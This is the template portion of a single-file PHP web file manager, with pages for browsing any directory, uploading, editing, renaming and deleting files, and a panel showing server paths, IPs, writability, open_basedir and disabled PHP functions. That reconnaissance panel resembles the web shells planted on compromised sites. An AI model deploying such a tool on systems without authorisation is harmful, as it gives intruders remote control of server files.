.itbl td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:top;word-break:break-word}
.itbl tr:nth-child(even) td{background:rgba(255,255,255,.015)}
.itbl .lb{font-weight:700;width:180px;white-space:nowrap;color:var(--tx2)}

/* Empty */
.empty{text-align:center;padding:48px 16px;color:var(--tx3)}
.empty-i{width:52px;height:52px;border-radius:14px;background:var(--bg4);margin:0 auto 14px;display:flex;align-items:center;justify-content:center;font-size:.75rem;font-weight:800;color:var(--tx3);border:1px solid var(--bd2)}

/* Panel header row */
.ph{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;flex-wrap:wrap;gap:8px}
.ph h3{margin:0;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px}
.ph h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0}

@keyframes tin{from{transform:translateY(-8px);opacity:0}to{transform:translateY(0);opacity:1}}
.cv::-webkit-scrollbar,.tv::-webkit-scrollbar,.eta::-webkit-scrollbar{width:6px;height:6px}
.cv::-webkit-scrollbar-track,.tv::-webkit-scrollbar-track,.eta::-webkit-scrollbar-track{background:transparent}
.cv::-webkit-scrollbar-thumb,.tv::-webkit-scrollbar-thumb,.eta::-webkit-scrollbar-thumb{background:var(--bg4);border-radius:3px}
.cv::-webkit-scrollbar-thumb:hover,.tv::-webkit-scrollbar-thumb:hover,.eta::-webkit-scrollbar-thumb:hover{background:var(--tx3)}

@media(max-width:640px){
.app{padding:8px}
.hdr{padding:12px 14px;flex-direction:column;align-items:flex-start;gap:8px}
.hdr-m{text-align:left;width:100%}
.tbar{padding:8px 10px}
.ct{padding:12px}
.fr.stk .btn{width:100%;justify-content:center}
.ft th,.ft td{padding:6px 7px}
.ft .ch{display:none}
.fi{width:26px;height:26px;border-radius:6px;font-size:.52rem}
.al{font-size:.65rem;padding:2px 5px}
.bc{font-size:.73rem}
.pnl{padding:14px}
.hdr-logo{width:30px;height:30px;border-radius:7px;font-size:.65rem}
}
@media(min-width:641px) and (max-width:900px){
.ft .cm{display:none}
}
</style>
</head>
<body>
<div class="app">

<div class="hdr">
<div class="hdr-l">
<div class="hdr-logo">FM</div>
<div class="hdr-t">WebAdmin File Manager</div>
</div>
<div class="hdr-m"><?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> &middot; PHP <?php echo PHP_VERSION; ?></div>
</div>

<div class="tbar">
<?php echo create_breadcrumbs($current_dir); ?>
<div class="ta">
<?php if (!$is_home): ?>
<a href="?cd=<?php echo urlencode($home_dir); ?>&token=<?php echo $security_token; ?>" class="btn bhome">Home</a>
<?php endif; ?>
<a href="?" class="btn">Files</a>
<a href="?action=upload" class="btn">Upload</a>
<a href="?action=create" class="btn">New</a>
<a href="?action=info" class="btn">Info</a>
<?php if ($has_parent): ?>
<a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn">Up</a>
<?php endif; ?>
</div>
</div>

<div class="ct">

<div class="tw" id="tw">
<?php if ($message): ?>
<div class="toast t<?php echo $message_type === 'success' ? 's' : 'e'; ?>"><?php echo sanitize_output($message); ?></div>
<?php endif; ?>
</div>

<?php if (isset($_GET['action']) && $_GET['action'] === 'upload'): ?>
<div class="pnl">
<h3>Upload File</h3>
<p style="font-size:.8rem;color:var(--tx3);margin-bottom:12px">
Target: <strong style="color:var(--tx2)"><?php echo sanitize_output($current_dir); ?></strong><br>
Max size: <?php echo format_size($config['max_upload_size']); ?>
<?php if (!empty($config['allowed_extensions'])): ?>
| Allowed: <?php echo sanitize_output(implode(', ', $config['allowed_extensions'])); ?>
<?php endif; ?>
</p>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="file" name="upload_file" class="inp" required>
<button type="submit" class="btn bh">Upload</button>
</div>
</form>
</div>

<?php elseif (isset($_GET['action']) && $_GET['action'] === 'create'): ?>
<div class="pnl">
<h3>Create New</h3>
<form method="post" style="margin-bottom:12px">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="text" name="mkdir" class="inp" placeholder="New folder name...">
<button type="submit" class="btn bh">Create Folder</button>
</div>
</form>
<form method="post">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="text" name="create_file" class="inp" placeholder="New file name (e.g. config.php)...">
<button type="submit" class="btn bg">Create File</button>
</div>
</form>
</div>

<?php elseif (isset($_GET['action']) && $_GET['action'] === 'info'): ?>
<div class="pnl">
<h3>System Information</h3>
<div style="overflow-x:auto;-webkit-overflow-scrolling:touch">
<table class="itbl">
<tr><td class="lb">Server Software</td><td><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">PHP Version</td><td><?php echo PHP_VERSION; ?></td></tr>
<tr><td class="lb">Operating System</td><td><?php echo sanitize_output(php_uname()); ?></td></tr>
<tr><td class="lb">Server IP</td><td><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Your IP</td><td><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Document Root</td><td><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Script Path</td><td><?php echo sanitize_output(__FILE__); ?></td></tr>
<tr><td class="lb">Current Directory</td><td><?php echo sanitize_output($current_dir); ?></td></tr>
<tr><td class="lb">Home Directory</td><td><?php echo sanitize_output($home_dir); ?></td></tr>
<tr><td class="lb">Writable</td><td><?php echo is_writable($current_dir) ? '<span style="color:var(--gn)">Yes</span>' : '<span style="color:var(--rd)">No</span>'; ?></td></tr>
<tr><td class="lb">Disk Free</td><td><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr>
<tr><td class="lb">Disk Total</td><td><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr>
<tr><td class="lb">upload_max_filesize</td><td><?php echo ini_get('upload_max_filesize'); ?></td></tr>
<tr><td class="lb">post_max_size</td><td><?php echo ini_get('post_max_size'); ?></td></tr>
<tr><td class="lb">memory_limit</td><td><?php echo ini_get('memory_limit'); ?></td></tr>
<tr><td class="lb">max_execution_time</td><td><?php echo ini_get('max_execution_time'); ?>s</td></tr>
<?php $ob = ini_get('open_basedir'); ?>
<tr><td class="lb">open_basedir</td><td style="font-size:.76rem;word-break:break-all"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--gn)">No restriction</span>'; ?></td></tr>
<?php $dl = ini_get('disable_functions'); ?>
<tr><td class="lb">Disabled Functions</td><td style="font-size:.76rem;word-break:break-all"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--gn)">None</span>'; ?></td></tr>
</table>
</div>
</div>

<?php elseif (!empty($view_content)): ?>
<div class="pnl">
<div class="ph">
<h3 style="word-break:break-all">View: <?php echo sanitize_output($_GET['view']); ?></h3>
<div style="display:flex;gap:5px;flex-shrink:0;flex-wrap:wrap">
<?php if (is_editable($_GET['view'])): ?>
<a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bh bsm">Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bsm">Download</a>
<a href="?" class="btn bsm">Back</a>
</div>
</div>
<?php echo $view_content; ?>
</div>

<?php elseif (!empty($edit_content)): ?>
<div class="pnl">
<div class="ph">
<h3 style="word-break:break-all">Edit: <?php echo sanitize_output($edit_filename); ?></h3>
<a href="?" class="btn bsm">Back</a>
</div>
<form method="post">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>">
<textarea name="edit_content" class="eta" id="editorArea"><?php echo sanitize_output($edit_content); ?></textarea>
<div class="ebar">
<button type="submit" name="save_edit" value="1" class="btn bh">Save Changes</button>
<a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn">View</a>
<a href="?" class="btn">Cancel</a>
</div>
</form>
</div>

<?php else: ?>
<?php
 $items = @scandir($current_dir);
if ($items === false) {
    echo "<div class='msg me'>Cannot read directory contents. Check permissions.</div>";
} else {
    $dirs = array();
    $files = array();
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $current_dir . DS . $item;
        if (is_dir($full)) { $dirs[] = $item; } else { $files[] = $item; }
    }
    sort($dirs);
    sort($files);
    $all_items = array_merge($dirs, $files);
    $total_items = count($all_items);
    $total_size = 0;
    foreach ($files as $f) { $total_size += @filesize($current_dir . DS . $f); }
?>
<div class="sm">
<span><?php echo $total_items; ?> items &middot; <?php echo count($dirs); ?> folders, <?php echo count($files); ?> files</span>
<span>Total: <?php echo format_size($total_size); ?></span>
</div>
<?php if (empty($all_items)): ?>
<div class="empty">
<div class="empty-i">0</div>
<p>This directory is empty.</p>
</div>
<?php else: ?>
<div style="overflow-x:auto;-webkit-overflow-scrolling:touch">
<table class="ft">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th class="cm">Perms</th>
<th class="ch">Owner</th>
<th class="cm">Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($all_items as $item):
 $full_path = $current_dir . DS . $item;
 $is_dir = is_dir($full_path);
 $icc = $is_dir ? 'i0' : get_file_icon_class($item);
 $ext_label = $is_dir ? 'DIR' : strtoupper(get_file_extension($item) ?: '---');
 $size = $is_dir ? '-' : format_size(@filesize($full_path));
 $perms = get_perms($full_path);
 $owner = get_owner_name($full_path);
 $mtime = @filemtime($full_path);
 $mtime_str = $mtime ? date('Y-m-d H:i', $mtime) : 'N/A';
?>
<tr>
<td>
<div class="fn-wrap <?php echo $icc; ?>">
<span class="fi"><?php echo $ext_label; ?></span>
<?php if ($is_dir): ?>
<a href="?cd=<?php echo urlencode($full_path); ?>&token=<?php echo $security_token; ?>" class="fn fnd"><?php echo sanitize_output($item); ?>/</a>
<?php else: ?>
<span class="fn"><?php echo sanitize_output($item); ?></span>
<?php endif; ?>
</div>
</td>
<td class="sc"><?php echo $size; ?></td>
<td class="pc cm"><?php echo $perms; ?></td>
<td class="oc ch"><?php echo sanitize_output($owner); ?></td>
<td class="dc cm"><?php echo $mtime_str; ?></td>
<td>
<div class="als">
<?php if (!$is_dir): ?>
<a href="?view=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">View</a>
<?php if (is_editable($item) && is_writable($full_path)): ?>
<a href="?edit=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">DL</a>
<?php endif; ?>
<a href="javascript:void(0)" class="al" onclick="openRen('<?php echo addslashes(sanitize_output($item)); ?>')">Ren</a>
<a href="?delete=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al ad" onclick="return cfDel('<?php echo addslashes(sanitize_output($item)); ?>',<?php echo $is_dir ? 'true' : 'false'; ?>)">Del</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php endif; ?>
<?php } ?>
<?php endif; ?>

</div>
</div>

<div class="mbg" id="renModal">
<div class="mbox">
<h3>Rename Item</h3>
<form method="post" id="renForm">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="hidden" name="rename_from" id="renFrom" value="">
<label style="font-size:.82rem;font-weight:600;color:var(--tx2)">New name:</label>
<input type="text" name="rename_to" class="minput" id="renTo" required>
<div class="mbtns">
<button type="button" class="btn" onclick="closeRen()">Cancel</button>
<button type="submit" class="btn bh">Rename</button>
</div>
</form>
</div>
</div>

<script>
function openRen(n){document.getElementById('renFrom').value=n;document.getElementById('renTo').value=n;document.getElementById('renModal').classList.add('on');var el=document.getElementById('renTo');el.focus();el.select()}
function closeRen(){document.getElementById('renModal').classList.remove('on')}
function cfDel(n,d){return confirm('Delete '+(d?'folder':'file')+' "'+n+'"?' +(d?' All contents will be removed.':''))}
document.getElementById('renModal').addEventListener('click',function(e){if(e.target===this)closeRen()});
document.addEventListener('keydown',function(e){if(e.key==='Escape')closeRen()});
var ea=document.getElementById('editorArea');
if(ea){ea.addEventListener('keydown',function(e){if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+'    '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4}})}
setTimeout(function(){var t=document.querySelectorAll('.toast');t.forEach(function(el){el.style.transition='opacity .3s';el.style.opacity='0';setTimeout(function(){el.remove()},300)})},4500);
</script>
</body>
</html>
Size: 47.21 KBMIME: text/x-phpLines: 1012

Rename Item